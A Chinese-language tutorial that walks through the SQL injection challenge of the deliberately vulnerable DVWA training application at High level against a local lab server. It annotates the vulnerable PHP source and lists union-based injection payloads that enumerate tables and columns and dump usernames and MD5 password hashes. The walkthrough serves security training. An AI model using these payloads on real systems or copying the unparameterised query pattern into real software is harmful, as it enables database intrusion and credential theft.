目录
DVWA(Damn Vulnerable Web Application)中的 SQL Injection 关卡是用于练习和演示 SQL 注入攻击的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对高级High级别的关卡进行渗透实战。
一、SQL Injection
SQL 注入(SQL Injection)是指攻击者通过在应用程序的输入字段中插入恶意 SQL 代码,从而执行非预期的数据库操作,使用联合注入方法的渗透步骤如下表所示。
步骤 | 操作描述 | 示例/关键点 |
---|---|---|
1. 探测注入点 | 寻找可能存在SQL注入的输入参数(如URL参数、表单字段等)。 | id=1' 、search=test" |
2. 验证注入点 | 通过错误回显或逻辑判断确认是否存在注入。 | id=1' AND 1=1-- (正常) vs id=1' AND 1=2-- (异常) |
3. 确定字段数 | 使用 ORDER BY 逐步增加列数,直到页面返回正常。 | id=1' ORDER BY 5-- (若5列时报错,则字段数为4) |
4. 确认回显位 | 通过 UNION SELECT 结合占位符(如数字或null )定位显示位。 | id=-1' UNION SELECT 1,2,3,4-- (观察页面显示的数字位) |
5. 获取数据库信息 | 从回显位提取数据库名、版本等信息。 | UNION SELECT 1,database(),version(),4-- |
6. 枚举表名 | 查询系统表(如information_schema.tables )获取表名。 | UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='数据库名'-- |
7. 枚举列名 | 查询系统表(如information_schema.columns )获取目标表的列名。 | UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='表名'-- |
8. 提取数据 | 从目标表中查询敏感数据。 | UNION SELECT 1,username,password,4 FROM users-- |
二、代码审计(High级别)
1、源码分析
(1)index.php
进入DVWA靶场源目录,找到index.php源码。
这段代码实现了
这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL 注入攻击演示页面的主控制器,主要功能包括:
- 环境初始化:设置页面路径、验证用户身份、连接数据库。
- 安全级别控制:根据用户 Cookie 中的安全级别设置(低、中、高、不可能),加载不同级别的实现文件。这些文件包含不同防护级别的 SQL 查询代码,用于演示不同难度的 SQL 注入场景。
- 表单生成:根据安全级别动态生成不同的用户输入表单(低级、中级、高级、不可能共4个级别)
- 环境检测:检查 PHP 配置中的魔术引号和安全模式,提供环境安全提示。
- 结果展示:将 SQL 查询结果和安全参考资料链接整合到页面中。
经过注释后的详细代码如下所示。
<?php
// 定义网站根目录路径常量,并引入页面处理工具
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
// 初始化页面,验证用户认证状态并启动PHPIDS防护模块
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
// 创建新页面实例并设置页面元信息
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Vulnerability: SQL Injection' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'sqli';
$page[ 'help_button' ] = 'sqli';
$page[ 'source_button' ] = 'sqli';
// 连接数据库
dvwaDatabaseConnect();
// 设置表单提交方式和级别文件
$method = 'GET';
$vulnerabilityFile = '';
// 根据安全级别Cookie选择不同的级别实现文件
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
$method = 'POST'; // 中等级别使用POST方法
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php'; // 默认使用安全实现
break;
}
// 引入对应安全级别的SQL注入攻击实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli/source/{$vulnerabilityFile}";
// 检查PHP环境配置并生成警告信息
$WarningHtml = '';
// 检测魔术引号是否开启(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测安全模式是否开启(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}
// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: SQL Injection</h1>
{$WarningHtml}
<div class=\"vulnerable_code_area\">";
// 高级安全级别使用JavaScript弹窗获取用户ID
if( $vulnerabilityFile == 'high.php' ) {
$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('session-input.php');return false;\">here to change your ID</a>.";
}
// 其他安全级别使用表单获取用户ID
else {
$page[ 'body' ] .= "
<form action=\"#\" method=\"{$method}\">
<p>
User ID:";
// 中等级别使用下拉菜单限制输入范围
if( $vulnerabilityFile == 'medium.php' ) {
$page[ 'body' ] .= "\n <select name=\"id\">";
// 动态生成下拉选项(基于数据库行数)
for( $i = 1; $i < $number_of_rows + 1 ; $i++ ) { $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
$page[ 'body' ] .= "</select>";
}
// 低级别和不可能级别使用文本框直接输入
else
$page[ 'body' ] .= "\n <input type=\"text\" size=\"15\" name=\"id\">";
$page[ 'body' ] .= "\n <input type=\"submit\" name=\"Submit\" value=\"Submit\">
</p>\n";
// 不可能级别添加CSRF令牌保护
if( $vulnerabilityFile == 'impossible.php' )
$page[ 'body' ] .= " " . tokenField();
$page[ 'body' ] .= "
</form>";
}
// 添加查询结果区域和安全参考资料链接
$page[ 'body' ] .= "
{$html} // 存储SQL查询结果的变量
</div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
</ul>
</div>\n";
// 输出HTML页面
dvwaHtmlEcho( $page );
?>
(2)high.php
进入DVWA靶场源目录,找到high.php源码。
打开源码high.php,分析可知这段代码实现了用户信息查询并展示的功能,如下所示。
这段代码可能被黑客进行SQL注入攻击,具体原因如下所示。
- 通过表单接收用户输入的id参数($_SESSION[ 'id' ]),并未对参数进行任何过滤
- 将该参数直接拼接到 SQL 查询语句中,相对于low级别只是在SQL语句的尾部增加了limit 1,查询users表中的first_name和last_name
- 将查询结果展示给用户
详细注释后的代码如下所示。
<?php
// 检查$_SESSION中是否存在'id'键(通常用于验证用户是否登录)
if( isset( $_SESSION[ 'id' ] ) ) {
// 获取会话中的用户ID
$id = $_SESSION[ 'id' ];
// 构建SQL查询语句:从users表中查询指定user_id的用户姓名
// 注意:直接拼接用户可控的$id到SQL语句中,未做任何过滤
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// 执行SQL查询,$GLOBALS["___mysqli_ston"]是预定义的数据库连接对象
// mysqli_query()返回结果集,失败时触发die()输出错误信息
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>Something went wrong.</pre>' );
// 遍历查询结果(理论上LIMIT 1只会返回一条记录)
while( $row = mysqli_fetch_assoc( $result ) ) {
// 提取姓名字段
$first = $row["first_name"];
$last = $row["last_name"];
// 拼接HTML反馈内容,展示用户信息
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
2、渗透思路
(1)SQL安全问题分析
- 输入未过滤:直接使用$_SESSION ['id']获取用户输入,未进行任何过滤或转义
- SQL 拼接:将用户输入直接拼接到 SQL 语句中,未使用预处理语句
- 引号包围:SQL 语句使用单引号 (') 包围$id参数,攻击者可利用引号闭合原 SQL 语句
(2)SQL渗透思路
原始SQL语句:SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;
闭合单引号:输入1
' or 1=1#
会导致 SQL 变为如下内容。
SELECT first_name, last_name FROM users WHERE user_id ='1' or 1=1# LIMIT 1; ';
由于1=1恒为真,且#可以注释掉后面的limit1,该查询会返回所有用户记录
三、渗透准备
1、配置安全级别
配置security为HIGH级别,如下图所示。
进入到SQL Injection关卡HIGH页面,完整URL地址具体如下所示。
http://192.168.59.1/dvwa/vulnerabilities/sqli/
这个页面需要点击链接,在弹出的框里单独输入数据进行渗透,如下所示。
2、配置字符集
参考SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法-CSDN博客
为避免使用联合注入法时报错“Illegal mix of collations for operation 'UNION'”,修改dvwa数据库user表的first_name与last_name字符集,如下图所示。
修改dvwa数据库user表的password字符集,如下图所示。
四、渗透实战
1、判断注入类型
输入1',服务器回显出错,说明是存在SQL注入点的可能性,和第2部分源码分析结果一致。效果如下所示。
2、获取字段数
输入1' order by 3#报错,如下所示。
通过输入1' order by 2#查询成功,如下所示。
综上所述,可判断出执行的 SQL 查询语句中只有两个字段。
3、获取当前数据库
输入-1' union select 1, 2#,判断回显位,如下所示1和2都限时成功,1和2这两个输出位置均为可用的回显位。
输入-1' union select database(), version()#,可得出当前使用的数据库为dvwa以及数据库版本信息。
4、获取数据库中的表
输入-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#,可得到数据库dvwa中的表名,如guestbook与users。
5、获取表中的字段名
输入-1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#,可获取users表的所有字段。
6、获取字段信息
输入-1' union select group_concat(user_id,first_name,last_name), group_concat( password) from users #,可获取用户信息和密码的 MD5 值,通过 MD5 解密网站可得到明文密码。
此次渗透获得的完整用户名和密码信息如下所示。
ID: -1' union select group_concat(user_id,first_name,last_name), group_concat( password) from users #
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith
Surname: 81dc9bdb52d04dc20036dbd8313ed055,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99